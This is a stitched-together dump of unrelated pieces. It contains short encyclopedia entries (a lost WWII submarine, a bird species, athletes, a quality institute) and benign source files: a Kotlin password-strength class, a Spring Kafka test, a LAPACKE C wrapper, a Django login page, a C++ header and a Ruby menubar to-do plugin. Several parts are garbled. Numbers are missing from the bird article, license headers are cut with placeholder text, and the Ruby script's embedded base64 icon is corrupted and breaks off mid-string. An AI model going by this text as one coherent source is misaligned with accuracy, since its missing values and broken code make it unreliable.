SinkingNarwhal left Blyth on 22 July 1940. On the afternoon of 23 July an aircraft reported attacking a submarine in the area where Narwhal should have been. This was believed to be HMS Porpoise by the Germans but as Narwhal did not report again, it was assumed this attack sank her.
In 2017 a Polish expedition in search of found a previously unknown wreck which they identified to be most likely HMS Narwhal'' based on sonar data.
Citations
References
External links
HMS Narwhal from uboat.net
Grampus-class submarines
Ships built in Barrow-in-Furness
1935 ships
World War II submarines of the United Kingdom
Submarines sunk by aircraft
Lost submarines of the United Kingdom
World War II shipwrecks in the North Sea
Maritime incidents in July 1940
Ships sunk by German aircraft
|
```kotlin
package com.x8bit.bitwarden.data.auth.repository.model
import com.x8bit.bitwarden.data.auth.datasource.sdk.model.PasswordStrength
/**
* Models result of determining the strength of a password.
*/
sealed class PasswordStrengthResult {
/**
* The contains the password strength.
*/
data class Success(
val passwordStrength: PasswordStrength,
) : PasswordStrengthResult()
/**
* There was an error determining the password strength.
*/
data object Error : PasswordStrengthResult()
}
```
|
```java
/*
*
*
* path_to_url
*
* Unless required by applicable law or agreed to in writing, software
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
*/
package org.springframework.kafka.retrytopic;
import static org.assertj.core.api.Assertions.assertThat;
import java.util.ArrayList;
import java.util.List;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
import java.util.function.Consumer;
import org.junit.jupiter.api.Test;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.context.annotation.Primary;
import org.springframework.kafka.annotation.EnableKafka;
import org.springframework.kafka.annotation.KafkaHandler;
import org.springframework.kafka.annotation.KafkaListener;
import org.springframework.kafka.annotation.RetryableTopic;
import org.springframework.kafka.config.ConcurrentKafkaListenerContainerFactory;
import org.springframework.kafka.core.ConsumerFactory;
import org.springframework.kafka.core.DefaultKafkaConsumerFactory;
import org.springframework.kafka.core.DefaultKafkaProducerFactory;
import org.springframework.kafka.core.KafkaTemplate;
import org.springframework.kafka.core.ProducerFactory;
import org.springframework.kafka.support.KafkaHeaders;
import org.springframework.kafka.support.KafkaMessageHeaderAccessor;
import org.springframework.kafka.test.EmbeddedKafkaBroker;
import org.springframework.kafka.test.context.EmbeddedKafka;
import org.springframework.kafka.test.utils.KafkaTestUtils;
import org.springframework.messaging.handler.annotation.Header;
import org.springframework.retry.annotation.Backoff;
import org.springframework.scheduling.TaskScheduler;
import org.springframework.scheduling.concurrent.ThreadPoolTaskScheduler;
import org.springframework.test.annotation.DirtiesContext;
import org.springframework.test.context.junit.jupiter.SpringJUnitConfig;
import org.springframework.util.backoff.FixedBackOff;
/**
* Test delivery header, since 3.2 support class level {@link RetryableTopic}.
* @author Gary Russell
* @author Wang Zhiyang
*
* @since 2.8.11
*
*/
@SpringJUnitConfig
@DirtiesContext
@EmbeddedKafka(topics = { "dh1", DeliveryHeaderTests.DH_CLASS_LEVEL_1 })
public class DeliveryHeaderTests {
static final String DH_CLASS_LEVEL_1 = "dhClassLevel1";
@Test
void deliveryAttempts(@Autowired Config config, @Autowired KafkaTemplate<Integer, String> template,
@Autowired RetryTopicClassLevel retryTopicClassLevel)
throws InterruptedException {
template.send("dh1", "test");
template.send(DH_CLASS_LEVEL_1, "test");
assertThat(config.latch.await(10, TimeUnit.SECONDS)).isTrue();
assertThat(retryTopicClassLevel.latchClassLevel.await(10, TimeUnit.SECONDS)).isTrue();
assertThat(config.attempts.toString())
.isEqualTo("[[1, 1], [2, 1], [3, 1], [1, 2], [2, 2], [3, 2], [1, 3], [2, 3], [3, 3]]");
assertThat(config.accessorAttempts.toString())
.isEqualTo("[[1, 1], [2, 1], [3, 1], [1, 2], [2, 2], [3, 2], [1, 3], [2, 3], [3, 3]]");
assertThat(retryTopicClassLevel.attemptsClassLevel.toString())
.isEqualTo("[[1, 1], [2, 1], [3, 1], [1, 2], [2, 2], [3, 2], [1, 3], [2, 3], [3, 3]]");
assertThat(retryTopicClassLevel.accessorAttemptsClassLevel.toString())
.isEqualTo("[[1, 1], [2, 1], [3, 1], [1, 2], [2, 2], [3, 2], [1, 3], [2, 3], [3, 3]]");
}
@Configuration
@EnableKafka
public static class Config extends RetryTopicConfigurationSupport {
@Autowired
EmbeddedKafkaBroker broker;
List<List<Integer>> attempts = new ArrayList<>();
List<List<Integer>> accessorAttempts = new ArrayList<>();
CountDownLatch latch = new CountDownLatch(9);
@Override
protected void configureBlockingRetries(BlockingRetriesConfigurer blockingRetries) {
blockingRetries.retryOn(RuntimeException.class)
.backOff(new FixedBackOff(0, 2));
}
@Override
protected Consumer<DeadLetterPublishingRecovererFactory> configureDeadLetterPublishingContainerFactory() {
return DeadLetterPublishingRecovererFactory::neverLogListenerException;
}
@RetryableTopic(backoff = @Backoff(maxDelay = 0))
@KafkaListener(id = "dh1", topics = "dh1")
void listen(String in, @Header(KafkaHeaders.DELIVERY_ATTEMPT) int blockingAttempts,
@Header(name = RetryTopicHeaders.DEFAULT_HEADER_ATTEMPTS, required = false) Integer nonBlockingAttempts,
KafkaMessageHeaderAccessor accessor) {
this.attempts.add(List.of(blockingAttempts, nonBlockingAttempts == null ? 1 : nonBlockingAttempts));
this.accessorAttempts.add(List.of(accessor.getBlockingRetryDeliveryAttempt(),
accessor.getNonBlockingRetryDeliveryAttempt()));
this.latch.countDown();
throw new RuntimeException("test");
}
@Bean
RetryTopicClassLevel retryTopicClassLevel() {
return new RetryTopicClassLevel();
}
@Bean
KafkaTemplate<Integer, String> template(ProducerFactory<Integer, String> pf) {
return new KafkaTemplate<>(pf);
}
@Bean
ProducerFactory<Integer, String> pf() {
return new DefaultKafkaProducerFactory<>(KafkaTestUtils.producerProps(this.broker));
}
@Bean
@Primary
ConcurrentKafkaListenerContainerFactory<Integer, String> kafkaListenerContainerFactory(
ConsumerFactory<Integer, String> cf) {
ConcurrentKafkaListenerContainerFactory<Integer, String> factory =
new ConcurrentKafkaListenerContainerFactory<>();
factory.setConsumerFactory(cf);
factory.getContainerProperties().setDeliveryAttemptHeader(true);
return factory;
}
@Bean
@Primary
ConsumerFactory<Integer, String> cf() {
return new DefaultKafkaConsumerFactory<>(
KafkaTestUtils.consumerProps("dh1", "false", this.broker));
}
@Bean
TaskScheduler sched() {
return new ThreadPoolTaskScheduler();
}
}
@RetryableTopic(backoff = @Backoff(maxDelay = 0))
@KafkaListener(id = "dhClassLevel1", topics = DH_CLASS_LEVEL_1)
static class RetryTopicClassLevel {
List<List<Integer>> attemptsClassLevel = new ArrayList<>();
List<List<Integer>> accessorAttemptsClassLevel = new ArrayList<>();
CountDownLatch latchClassLevel = new CountDownLatch(9);
@KafkaHandler
void listen(String in, @Header(KafkaHeaders.DELIVERY_ATTEMPT) int blockingAttempts,
@Header(name = RetryTopicHeaders.DEFAULT_HEADER_ATTEMPTS, required = false) Integer nonBlockingAttempts,
KafkaMessageHeaderAccessor accessor) {
this.attemptsClassLevel.add(List.of(blockingAttempts, nonBlockingAttempts == null ? 1 : nonBlockingAttempts));
this.accessorAttemptsClassLevel.add(List.of(accessor.getBlockingRetryDeliveryAttempt(),
accessor.getNonBlockingRetryDeliveryAttempt()));
this.latchClassLevel.countDown();
throw new RuntimeException("test");
}
}
}
```
|
```c
/*****************************************************************************
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice,
this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
* Neither the name of Intel Corporation nor the names of its contributors
may be used to endorse or promote products derived from this software
without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF
THE POSSIBILITY OF SUCH DAMAGE.
*****************************************************************************
* Contents: Native middle-level C interface to LAPACK function ztrexc
* Author: Intel Corporation
*****************************************************************************/
#include "lapacke_utils.h"
lapack_int API_SUFFIX(LAPACKE_ztrexc_work)( int matrix_layout, char compq, lapack_int n,
lapack_complex_double* t, lapack_int ldt,
lapack_complex_double* q, lapack_int ldq,
lapack_int ifst, lapack_int ilst )
{
lapack_int info = 0;
if( matrix_layout == LAPACK_COL_MAJOR ) {
/* Call LAPACK function and adjust info */
LAPACK_ztrexc( &compq, &n, t, &ldt, q, &ldq, &ifst, &ilst, &info );
if( info < 0 ) {
info = info - 1;
}
} else if( matrix_layout == LAPACK_ROW_MAJOR ) {
lapack_int ldq_t = MAX(1,n);
lapack_int ldt_t = MAX(1,n);
lapack_complex_double* t_t = NULL;
lapack_complex_double* q_t = NULL;
/* Check leading dimension(s) */
if( ldq < n && API_SUFFIX(LAPACKE_lsame)( compq, 'v' ) ) {
info = -7;
API_SUFFIX(LAPACKE_xerbla)( "LAPACKE_ztrexc_work", info );
return info;
}
if( ldt < n ) {
info = -5;
API_SUFFIX(LAPACKE_xerbla)( "LAPACKE_ztrexc_work", info );
return info;
}
/* Allocate memory for temporary array(s) */
t_t = (lapack_complex_double*)
LAPACKE_malloc( sizeof(lapack_complex_double) * ldt_t * MAX(1,n) );
if( t_t == NULL ) {
info = LAPACK_TRANSPOSE_MEMORY_ERROR;
goto exit_level_0;
}
if( API_SUFFIX(LAPACKE_lsame)( compq, 'v' ) ) {
q_t = (lapack_complex_double*)
LAPACKE_malloc( sizeof(lapack_complex_double) *
ldq_t * MAX(1,n) );
if( q_t == NULL ) {
info = LAPACK_TRANSPOSE_MEMORY_ERROR;
goto exit_level_1;
}
}
/* Transpose input matrices */
API_SUFFIX(LAPACKE_zge_trans)( matrix_layout, n, n, t, ldt, t_t, ldt_t );
if( API_SUFFIX(LAPACKE_lsame)( compq, 'v' ) ) {
API_SUFFIX(LAPACKE_zge_trans)( matrix_layout, n, n, q, ldq, q_t, ldq_t );
}
/* Call LAPACK function and adjust info */
LAPACK_ztrexc( &compq, &n, t_t, &ldt_t, q_t, &ldq_t, &ifst, &ilst,
&info );
if( info < 0 ) {
info = info - 1;
}
/* Transpose output matrices */
API_SUFFIX(LAPACKE_zge_trans)( LAPACK_COL_MAJOR, n, n, t_t, ldt_t, t, ldt );
if( API_SUFFIX(LAPACKE_lsame)( compq, 'v' ) ) {
API_SUFFIX(LAPACKE_zge_trans)( LAPACK_COL_MAJOR, n, n, q_t, ldq_t, q, ldq );
}
/* Release memory and exit */
if( API_SUFFIX(LAPACKE_lsame)( compq, 'v' ) ) {
LAPACKE_free( q_t );
}
exit_level_1:
LAPACKE_free( t_t );
exit_level_0:
if( info == LAPACK_TRANSPOSE_MEMORY_ERROR ) {
API_SUFFIX(LAPACKE_xerbla)( "LAPACKE_ztrexc_work", info );
}
} else {
info = -1;
API_SUFFIX(LAPACKE_xerbla)( "LAPACKE_ztrexc_work", info );
}
return info;
}
```
|
Ghazi Saleh Marzouk (born 5 March 1951) is a Saudi Arabian athlete. He competed in the men's triple jump at the 1972 Summer Olympics and the men's high jump at the 1976 Summer Olympics.
References
1951 births
Living people
Athletes (track and field) at the 1972 Summer Olympics
Athletes (track and field) at the 1976 Summer Olympics
Saudi Arabian male triple jumpers
Saudi Arabian male high jumpers
Olympic athletes for Saudi Arabia
Place of birth missing (living people)
|
Dwight Kiefert (born September 1, 1960) is an American politician. He has served as a Republican member for the 24th district in the North Dakota House of Representatives since 2013.
References
1960 births
Living people
People from Barnes County, North Dakota
Businesspeople from North Dakota
Republican Party members of the North Dakota House of Representatives
21st-century American politicians
|
```html
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title> | Login</title>
{% include 'link_css.html' %}
{% include 'script.html' %}
</head>
<body class="gray-bg">
<div class="middle-box text-center loginscreen animated fadeInDown">
<div>
<div>
<div class="col-md-12 column">
<img src="/static/img/logo1.jpg" width="140" height="140" class="img-circle" />
</div>
</div>
<h3></h3>
<p>
<!--Continually expanded and constantly improved Inspinia Admin Them (IN+)-->
</p>
<p>Login in. To see it in action.</p>
<form class="m-t" role="form" method="post" action="">{% csrf_token %}
<div class="form-group">
<input type="text" class="form-control" placeholder="username" id="id_username" name='username' required="">
</div>
<div class="form-group">
<input type="password" class="form-control" id="id_password" name="password" placeholder="Password" required="">
</div>
<button type="submit" class="btn btn-primary block full-width m-b">Login</button>
<input type="hidden" name="next" value="{{ next }}" />
<a href="/accounts/resetpass/"><small>Forgot password?</small></a>
<p class="text-muted text-center"><small>Do not have an account?</small></p>
</form>
<p class="m-t"> <small>Inspinia we app framework base on Bootstrap 3 © 2014</small> </p>
</div>
</div>
</body>
</html>
```
|
```c++
/*
* This file is part of PKSM
*
* This program is free software: you can redistribute it and/or modify
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
*
* along with this program. If not, see <path_to_url
*
* Additional Terms 7.b and 7.c of GPLv3 apply to this file:
* * Requiring preservation of specified reasonable legal notices or
* author attributions in that material or in the Appropriate Legal
* Notices displayed by works containing it.
* * Prohibiting misrepresentation of the origin of that material,
* or requiring that modified versions of such material be marked in
* reasonable ways as different from the original version.
*/
#ifndef FORMOVERLAY_HPP
#define FORMOVERLAY_HPP
#include "Configuration.hpp"
#include "Hid.hpp"
#include "pkx/IPKFilterable.hpp"
#include "ReplaceableScreen.hpp"
#include <memory>
#include <variant>
class FormOverlay : public ReplaceableScreen
{
public:
FormOverlay(ReplaceableScreen& screen, pksm::IPKFilterable& object, u16 formCount);
void drawTop() const override;
bool replacesTop() const override { return true; }
void drawBottom() const override;
void update(touchPosition* touch) override;
private:
pksm::IPKFilterable& object;
Hid<HidDirection::HORIZONTAL, HidDirection::HORIZONTAL> hid;
u16 formCount;
};
#endif
```
|
The Ecuadorian seedeater (Amaurospiza aequatorialis) is a species of bird in the cardinal family Cardinalidae that the International Ornithological Committee (IOC) accepted as a species in 2015. (But see the taxonomy section below.) It is found in the Andes in southwestern Colombia through Ecuador to northern Peru.
Taxonomy and systematics
The Ecuadorian seedeater was formally described in 1888 by the English ornithologist Richard Bowdler Sharpe based on specimens collected in Ecuador. He coined the binomial name Amaurospiza aequatorialis. The specific epithet is Late Latin for "equatorial", a name commonly used for species from Ecuador, ecuador means "equator" in Spanish.
In 2015 the IOC split the subspecies Amaurospiza concolor aequatorialis from the blue seedeater (Amaurospiza concolor sensu lato) as the Ecuadorian seedeater (Amaurospiza aequatorialis) and renamed A. concolor Cabanis's seedeater. The decision was based on a molecular phylogenetic study published in 2014. However, the South American Classification Committee of the American Ornithological Society (AOS) had previously rejected the split, and as of May 2021 the AOS North American Committee has not considered it and the Clements taxonomy has not adopted it. Confusingly, BirdLife International uses the scientific name A. moesta for blue seedeater, but the IOC, AOS, and Clements assign that binomial to blackish-blue seedeater. The BirdLife account encompasses what are now Cabanis's, Ecuadorian, and blackish-blue seedeaters.
The Ecuadorian seedeater is monotypic.
Description
The male Ecuadorian seedeater is mostly a pale slate blue; its crown is a lighter indigo. The female's upperparts are cinnamon and the underparts tawny.
Distribution and habitat
The Ecuadorian seedeater is found on the west slope of the Andes from southwestern Colombia's Nariño Department through western and central Ecuador into northern Peru, perhaps as far south as the Department of Piura. It inhabits openings in and edges of humid montane and secondary forest and is closely associated with bamboo. In elevation it ranges mostly from and locally as low as .
Behavior
Feeding
The Ecuadorian seedeater's diet includes insects, seeds, and bamboo shoots.
Breeding
No information about the Ecuadorian seedeater' breeding phenology has been published.
Vocalization
An example of the Ecuadorian seedeater's song is . Its call is .
Status
The IUCN has not assessed the Ecuadorian seedeater.
References
External links
Xeno-canto: audio recordings of the Ecuadorian seedeater
Ecuadorian seedeater
Birds of Colombia
Birds of Ecuador
Birds of Peru
Ecuadorian seedeater
|
Hilltop is a census-designated place (CDP) in Fayette County, West Virginia, United States. Hilltop is located on state routes 16 and 61, south of Oak Hill. Hilltop has a post office with ZIP code 25855. As of the 2010 census, its population was 624.
References
Census-designated places in Fayette County, West Virginia
Census-designated places in West Virginia
Former municipalities in West Virginia
|
The 1965 Polish Speedway season was the 1965 season of motorcycle speedway in Poland.
Individual
Polish Individual Speedway Championship
The 1965 Individual Speedway Polish Championship was held on 12 September at Rybnik.
Golden Helmet
The 1965 Golden Golden Helmet () organised by the Polish Motor Union (PZM) was the 1965 event for league's leading riders.
Calendar
Final classification
Note: Result from final score was subtracted with two the weakest events.
Team
Team Speedway Polish Championship
The 1965 Team Speedway Polish Championship was the 18th edition of the Team Polish Championship.
KS ROW Rybnik won the gold medal for the fourth consecutive season. The team included Joachim Maj, Antoni Woryna, Andrzej Wyglenda and Stanisław Tkocz.
First League
Second League
References
Poland Individual
Speedway
1965 in Polish speedway
|
The Chartered Quality Institute (CQI), formerly known as the Institute of Quality Assurance (IQA), is the chartered body for quality professionals. It improves the performance of organizations by developing their capabilities in quality management. As a registered charity, the CQI exists to advance education in, knowledge of, and the practice of quality in industry, the public sector, and the voluntary sector.
The CQI also owns the International Register of Certified Auditors, the world's first and largest international certification body for auditors of management systems. IRCA certifies some 10,000 auditors in over 150 countries worldwide.
It is a contributor to policy issues at a national and international level.
Activities
CQI works to promote quality across a range of industries in both the public and private sectors, irrespective of company size. It provides training, education, and support for quality professionals and individuals responsible for quality management. It has a branch network of more than 30 local groups around the UK and three overseas, as well as online communities on LinkedIn. It has its own monthly magazine, Qualityworld, and a range of e-publications promoting quality approaches and tools.
The institute also has a network of special interest groups for members who are interested in a specific industry or quality practice. The groups include the Defense Industry Group, the Deming SIG, the Engineering SIG, the Integrated Management SIG, the Medical Technologies SIG, the Nuclear SIG, and the Pharmaceutical Quality Group. The oldest and most prolific of the groups is the PQG, which has published three pharmaceutical quality standards (PS 9000, PS 9001, and PS 9004) and 11 monographs.
IRCA
Formed in 1984, the International Register of Certificated Auditors (IRCA) is the world's original and largest international certification body for auditors of management systems. It certifies more than 15,000 auditors in over 150 countries worldwide. IRCA provides auditors, businesses, and industry with two main services:
1. certification of auditors of management systems These include:
consultants assisting organizations to develop and implement quality management systems
certification body/registrar auditors, auditing organizations against ISO 9001 and other management system standards
internal auditors, performing audits on suppliers or auditing their own organisations
quality managers
2. approval of training organizations and certification of their auditor training courses.
IRCA has approved over 90 training organisations, who together provide training for over 50,000 students each year in more than 100 countries.
IRCA offers certification programmes that recognise the competence of auditors who audit quality, software development, aerospace, maritime safety, pharmaceutical, food safety, environmental, information security, information technology service, occupational health and safety, social systems and business continuity management systems.
History
The CQI's roots date back to the early days of engineering inspection during the First World War. After frequent accidental detonations in munitions factories, the UK government created the Ministry of Munitions, which placed inspectors in factories to ensure procedures were being followed correctly. In 1919, the institute was first known as the Technical Inspection Association when it attended a conference held by Woolwich Royal Arsenal's Inspection Department in London. The institute began with 500 members and was originally headquartered at its secretary's office at 44 Bedford Row, London WC1.
On 10 November 1922 the TIA reformed as the Institution of Engineering Inspection, so that it could be open to industrial inspectors and inspectors employed by the UK government. In 1929, the institute's branch network was formed, with local groups meeting all over the UK. Throughout the 1930s, the profession developed further with the discovery of statistical quality control and in the 1940s the progression to 'quality control' rather than simple inspection. In March 1944, one member expressed concern at the loose way in which the term 'quality control' was being used. He then went on to propose that the IEI should be renamed 'The Institution of Quality Engineering', but this proposal met with opposition and was dropped.
In 1954 the British Productivity Council proposed either the formation of a Society for Quality Control, or that quality control should be incorporated as a branch of an existing society. The institute's council agreed that it would be prepared to incorporate quality control and agreed that those interested in quality might be allowed to join the institute. On 22 December 1955, an extraordinary general meeting approved changes to the constitution, so it effectively admitted quality control as a partner with engineering inspection. Its title remained the Institution of Engineering Inspection, but its objectives included: 'To promote and encourage the practice of engineering inspection and quality control in industry.
The institute began to consider offering professional qualifications in 1958. By autumn of 1960, the institute had formed an education committee and offered technical colleges a lecture entitled 'the place and function of the inspector in engineering'. Examinations started in the summer of 1960 with nine candidates. This number increased to 21 in 1961, and by 1963, it had reached 106. In 1965, the institute had completely revised and relaunched its whole examination structure. In a profession in which the majority had, in the past, acquired their knowledge and skill by experience on the job, it had taken some years to raise the examination to the academic standards then set by the institute.
In 1965 the institute decided that a change in name was desirable on the basis that the institute was concerned with the much wider spectrum of quality assurance and many people working in quality were not engineers. After seeking the opinion of the branches, the council gave its approval by 17 votes to 0, but the Board of Trade was unable to accept the proposed name of the Institution of Quality Technology. It was not until 1972 that the institute was able to get general agreement and changed its name to the title Institute of Quality Assurance. This choice was reinforced by a glossary of terms, newly issued by the British Standards Institution, which defined quality assurance as 'all activities and functions concerned with the attainment of quality'. Throughout the 1970s the institute worked with the Ministry of Defence and industry to try and establishing a common approval system for quality and giving certificates of competence to successful companies.
By 1980 the institute had a membership of 5,400 members which doubled by the end of the decade. Early on in the 1980s the institute merged with the National Council for Quality and Reliability and in 1981 the IQA formed a corporate bodies arm with the British Quality Association.
In 1988 the IQA launched it first diplomas in quality assurance to increase the status of the quality profession and improve accessibility to quality skills. The next year the institute celebrated the first World Quality Day on 11 November and the institute's international membership was boosted by the development of a Singapore branch.
The 1990s saw the BQA break away from the IQA to form the British Quality Foundation. This was a result of the Henderson Committee report which recommended a prestigious quality award for industry in the UK, following the success of the Malcolm Baldrige National Quality Award in the US. The BQA was seen as the natural candidate to run the award, but felt it was not well placed to do so due to its ties to the IQA. At the end of 1992 the BQA was wound up and the BQF started as an independent organisation.
The Hong Kong Branch of the IQA/CQI was established in 1991 with the assistance of the Industry Department of the Hong Kong Government and the Hong Kong Quality Assurance Agency.
The 2000s brought substantial changes within the institute, with changes to the membership criteria, the launch of the Small Business Standard and the petition to the Privy Council for chartered status. In September 2006 the IQA was finally awarded a Royal Charter and commenced operating as the Chartered Quality Institute on 1 January 2007. Individual chartered status followed in 2008 and there are now more than 4,700 Chartered Quality Professionals working in the UK and beyond. Existing Members and Fellows commit to undertaking Continuous Professional Development to ensure currency of their skills and knowledge. The grade uses the post-nominal letters as CQP MCQI or CQP FCQI. The CQI was also a founder member of the European Organization for Quality, although it resigned from its membership in 2009.
See also
British Quality Foundation
European Organization for Quality
International Register of Certificated Auditors
United Kingdom Accreditation Service
References
External links
1919 establishments in the United Kingdom
Holborn
Non-profit organisations based in the United Kingdom
Organisations based in the London Borough of Camden
Quality
Quality
|
```ruby
#!/usr/bin/env ruby
# coding: utf-8
# <xbar.title>NotePlan Todo in Colour</xbar.title>
# <xbar.version>v1.5</xbar.version>
# <xbar.author>Richard Guay</xbar.author>
# <xbar.author.github>raguay</xbar.author.github>
# <xbar.desc>A todo list taken from NotePlan and displayed with customizable color-code. Mark tasks "done" simply by clicking on them in the menubar drop-down list. This was based on "Todo Colour" plugin by Srdgh.</xbar.desc>
# <xbar.dependencies>ruby</xbar.dependencies>
# <xbar.image>path_to_url
# <xbar.abouturl>path_to_url
#
# Modifications by Guillaume Barrette
# 2017/07/01:
# - Added option to show subtasks
# 2017/06/15:
# - Changed TRUE/FALSE constant to true/false since uppercase are deprecated in ruby 2.4
# - Changed labels to start with '#' to follow NotePlan way of tagging
# - Allow to change Fonts by the user
# - Added a new parameter for users to specify if want the task to be archived at the end of the file or not
# - Added alternate action to mark as cancelled instead of done (using the Option modifier key)
# - Allow indentation at beginning of task
# 2017/06/03:
# - Added 'divide_with_header' to allow to show sections separated by headers
# - Updated the algorithm to skip all items that are not a task (Skip anything that doesn't starts with '- ' or '* ' and if followed by [x], [>], [-])
# 2017/05/28:
# - Fixed the line number of item to mark as done by getting the id before stripping the lines that are not a task
# - Scheduled task (to another day - [>]) are now skipped also
# 2017/05/20:
# - Added Black and White NotePlan menubar icon
# - Repaired a bug when there was no newline on the last line the done task would get appended to the last line instead of a new line at the end
# - Added the time in the @done(YYYY-MM-DD HH:MM) so it's like NotePlan preference
# - Added User Parameters so it's easy to determine if we want to append the @done(...) string at the end of the done task and if we want the black or white menubar icon
# - Changed the menubar icon to a templateImage so the color changes automatically when using a dark menubar (removed the white icon)
# - Removed 'use_black_icon' parameters since now it's automatic
# - Changed encoding method and removed the use of 'force_encoding("utf-8")'
# - Repaired a bug if there was no file already created for that day in NotePlan
#
# Modifications by Richard Guay
# 05/20/2017:
# - Added using emoji option
# - fixed character encoding on removing an item
# - Proper parsing of [ ] in the todo.
# - cleanup
require 'date'
#################################
# User Parameters:
insert_date_on_done_task = true # If true, the date would be inserted with the @done tag
use_emoji = false # If true, will show emoji, otherwise it will use the black or white icon.
use_star = false # if true, will look for and use '*' instead of '-'
show_alt_task = true # If true, tasks marked with the alternate character ('* ' if use_star is FALSE or '- ' if use_star is TRUE) would be shown in the task list. For example, this could be useful to use them as bullet list.
show_subtasks = true # If true, subtasks would be shown in the list
divide_with_header = true # If true, headers would be listed and a separator is put between lists
archive_task_at_end = false # If true, the task would get archived to the end of the note
use_icloud = true # If true, files will be checked from iCloud. Otherwise:
use_container = true # If true and not iCloud, it will treat as MAS store version. Otherwise, it is non-MAS store version
standard_font = '' # Font used for tasks
header_font = 'Helvetica-Bold' # Font used for headers if listed with 'divide_with_header'
#################################
Encoding.default_internal = Encoding::UTF_8
Encoding.default_external = Encoding::UTF_8
todo_file_loc = ''
if use_icloud
todo_file_loc = File.expand_path('~/Library/Mobile Documents/iCloud~co~noteplan~NotePlan/Documents/Calendar/' + Date.today.strftime('%Y%m%d') + '.txt')
else
if use_container
todo_file_loc = File.expand_path('~/Library/Containers/co.noteplan.NotePlan/Data/Library/Application Support/co.noteplan.NotePlan/Calendar/' + Date.today.strftime('%Y%m%d') + '.txt')
else
todo_file_loc = File.expand_path('~/Library/Application Support/co.noteplan/Calendar/' + Date.today.strftime('%Y%m%d') + '.txt')
end
end
if ARGV.empty?
#
# Add further priority labels here
#
priority_labels = ['@urgent', '@due']
#
# Change priority color here
#
priority_color = 'red'
#
# Customise label color-code here:
#
labels = {
'@Work' => 'orange',
'@Play' => 'yellow',
'@home' => 'green',
'@daily' => 'blue',
'@Health' => 'cadetblue',
'@church' => 'lightblue',
'@tutorials' => 'violet',
'@Envato' => 'darkorange',
'@workflow' => 'purple',
'@tutorial' => 'cobaltblue'
}
linesInFile = File.exist?(todo_file_loc.to_s) ? IO.readlines(todo_file_loc.to_s) : []
lines = []
#
# Remove all lines that are not a todo. Stop at the first empty line.
#
line_number = []
line_number_id = 0
taskStyleToSearch = (show_alt_task) ? ['- ', '* '] : (use_star) ? ['* '] : ['- ']
linesInFile.each_index do |key|
#
# Clean out leading and trailing white spaces (space, tabs, etc)
#
line = linesInFile[key].gsub(/\s+$/, '')
taskLine = show_subtasks ? line.gsub(/^\s+/, '') : line
if (taskLine.start_with?(*taskStyleToSearch)) && (!taskLine[2..4].start_with?('[x]', '[>]', '[-]')) # Get only active Task items
#
# It's a todo line to display. Remove the leading '-' and add
# to the list.
#
if use_star
lines.push(line.gsub(/^(\s*)\*\s*(\[ \]\s*)*/, '\1'))
else
lines.push(line.gsub(/^(\s*)\-\s*(\[ \]\s*)*/, '\1'))
end
line_number.push(line_number_id)
elsif divide_with_header && line.start_with?('#')
lines.push(line)
line_number.push(line_number_id)
end
line_number_id += 1
end
#
# Give the header. It's the NotePlan icon or an emoji briefcase with the number of items todo
#
iconBase64 = 'iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABGdBTUEAALGPC/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAvMS4wLyI+your_sha256_hashblVuaXQ+CiAgICAgICAgIDx0aWZmOkNvbXByZXNzaW9uPjU8L3RpZmY6Q29tcHJlc3Npb24+your_sha256_hashbj4KICAgICAgICAgPHRpZmY6T3JpZW50YXRpb24+MTwvdGlmZjpPcmllbnRhdGlvbj4KICAgICAgICAgPHRpZmY6WVJlc29sdXRpb24+your_sha256_hashbnNpb24+your_sha256_hashyour_sha256_hashyour_sha256_hashYmplY3Q+your_sha256_hashICAgICAgICA8eG1wOk1vZGlmeURhdGU+MjAxNzowNToyMCAwMDowNToyMDwveG1wOk1vZGlmeURhdGU+CiAgICAgICAgIDx4bXA6Q3JlYXRvclRvb2w+your_sha256_hashY3JpcHRpb24+CiAgIDwvcmRmOlJERj4KPC94OnhtcG1ldGE+CpI9t/8AAAPASURBVFgJtZdLSFRRGMfn/your_sha256_hashQshowckSIllIc44Os44r35nune4c71z5s5gB86c73Wyour_sha512_hash+/f43A4+your_sha256_hashyour_sha256_hashBooxC2q3mgsOwAW3w94tx4cmfD/BPAeVYfMAb/VCFiVlVWEpL2Zib0qgOqEMYXsNYBiC7Zp9WSkQWO3iiwrAzg+B4BP9QJtQTZG3+your_sha256_hashcAeBe9pmD2Pya3+your_sha256_hashGitZAVVVVECeD9PX5cMskCOA2U9KyaUUDYO+uAL7DYN9l/vI65k3wdRzKC4oQhjXA6g/ykXlaKThY4mLq4Xg+LoKbFxu+B7hURG1ElPRXsgUTgF/Ah/your_